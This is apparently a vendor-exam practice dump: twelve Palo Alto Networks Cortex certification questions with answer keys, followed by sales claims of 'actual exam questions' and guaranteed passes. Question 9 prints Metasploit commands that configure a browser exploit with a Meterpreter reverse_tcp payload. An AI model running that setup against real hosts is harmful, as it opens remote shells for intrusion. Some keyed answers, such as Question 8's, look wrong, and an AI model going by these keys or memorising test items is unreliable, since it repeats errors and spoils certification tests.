Paloalto Networks

Exam Questions PSE-Cortex

Palo Alto Networks System Engineer - Cortex Professional

NEW QUESTION 1
What is the result of creating an exception from an exploit security event?

A. White lists the process from Wild Fire analysis
B. exempts the user from generating events for 24 hours
C. exempts administrators from generating alerts for 24 hours
D. disables the triggered EPM for the host and process involve

Answer: D

NEW QUESTION 2
What is the difference between an exception and an exclusion?

A. An exception is based on rules and exclusions are on alerts
B. An exclusion is based on rules and exceptions are based on alerts.
C. An exception does not exist
D. An exclusion does not exist

Answer: A

NEW QUESTION 3
If a customer activates a TMS tenant and has not purchased a Cortex Data Lake instance. Palo Alto Networks will provide the customer with a free instance What size is this free Cortex Data Lake instance?

A. 1 TB
B. 10 GB
C. 100 GB
D. 10 TB

Answer: C

NEW QUESTION 4
The certificate used for decryption was installed as a trusted root CA certificate to ensure communication between the Cortex XDR Agent and Cortex XDR Management Console What action needs to be taken if the administrator determines the Cortex XDR Agents are not communicating with the Cortex XDR Management Console?

A. add paloaltonetworks com to the SSL Decryption Exclusion list
B. enable SSL decryption
C. disable SSL decryption
D. reinstall the root CA certificate

Answer: D

NEW QUESTION 5
How do sub-playbooks affect the Incident Context Data?

A. When set to private, task outputs do not automatically get written to the root context
B. When set to private, task outputs automatically get written to the root context
C. When set to global, allows parallel task execution.
D. When set to global, sub-playbook tasks do not have access to the root context

Answer: A

NEW QUESTION 6
An EDR project was initiated by a CISO. Which resource will likely have the most heavy influence on the project?

A. desktop engineer
B. SOC manager
C. SOC analyst IT
D. operations manager

Answer: B

NEW QUESTION 7
Which three Demisto incident type features can be customized under Settings > Advanced > Incident Types? (Choose three.)

A. Define whether a playbook runs automatically when an incident type is encountered
B. Set reminders for an incident SLA
C. Add new fields to an incident type
D. Define the way that incidents of a specific type are displayed in the system
E. Drop new incidents of the same type that contain similar information

Answer: ABD

NEW QUESTION 8
An adversary is attempting to communicate with malware running on your network for the purpose of controlling malware activities or for ex filtrating data from your network. Which Cortex XDR Analytics alert is this activity most likely to trigger'?

A. Uncommon Local Scheduled Task Creation
B. Malware
C. New Administrative Behavior
D. DNS Tunneling

Answer: B

NEW QUESTION 9
A test for a Microsoft exploit has been planned. After some research Internet Explorer 11 CVE-2016-0189 has been selected and a module in Metasploit has been identified
(exploit/windows/browser/ms16_051_vbscript)
The description and current configuration of the exploit are as follows;

```
msf exploit(ms16_051_vbscript) > show options

Module options (exploit/windows/browser/ms16_051_vbscript):

Name        Current Setting   Required   Description
--------    ---------------   --------   -----------
SRVHOST     10.0.0.10         yes        The local host to listen on.
SRVPORT     8080              yes        The local port to listen on.
SSL         false             no         Negotiate SSL for incoming connections
SSLCert                       no         Path to a custom SSL certificate (default is randomly generated)
URIPATH                       no         The URI to use for this exploit (default is random)
```

The admin needs to perform the following steps:

- Configure a reverse_tcp meterpreter payload
- Set up the meterpreter payload to listen in IP 10.0.0.10
- Set up the meterpreter payload to listen in port 443
- Configure the URL to listen in a path with name "survey"

What is the remaining configuration?
A)
```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SSLCert survey
set LHOST 10.0.0.10
set LPORT 8080
```

B)
```
set PAYLOAD windows/x64/powershell_bind_tcp
set SRVHOST 10.0.0.10
set SRVPORT 443
set URIPATH survey
```

C)
```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SRVHOST 10.0.0.10
set SRVPORT 443
set URIPATH survey
```

D)
```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.10
set LPORT 443
set URIPATH survey
```

A. Option A
B. Option B
C. Option C
D. Option D

Answer: D

NEW QUESTION 10
Which two filter operators are available in Cortex XDR? (Choose two.)

A. not Contains
B. !*
C. =>
D. < >

Answer: AB

Explanation:
https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-pro-admin/get-started-with-cortex-xdr-pro/use-c

NEW QUESTION 11
Cortex XDR can schedule recurring scans of endpoints for malware. Identify two methods for initiating an on-demand malware scan (Choose two)

A. Response > Action Center
B. the local console
C. Telnet
D. Endpoint > Endpoint Management

Answer: AD

NEW QUESTION 12
Which step is required to prepare the VDI Golden Image?

A. Review any PE files that WildFire determined to be malicious
B. Ensure the latest content updates are installed
C. Run the VDI conversion tool
D. Set the memory dumps to manual setting

Answer: A

NEW QUESTION 13
......

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questons and Answers in PDF Format

PSE-Cortex Practice Exam Features:

* PSE-Cortex Questions and Answers Updated Frequently

* PSE-Cortex Practice Questions Verified by Expert Senior Certified Staff

* PSE-Cortex Most Realistic Questions that Guarantee you a Pass on Your FirstTry

* PSE-Cortex Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

100% Actual & Verified — Instant Download, Please Click
Order The PSE-Cortex Practice Test Here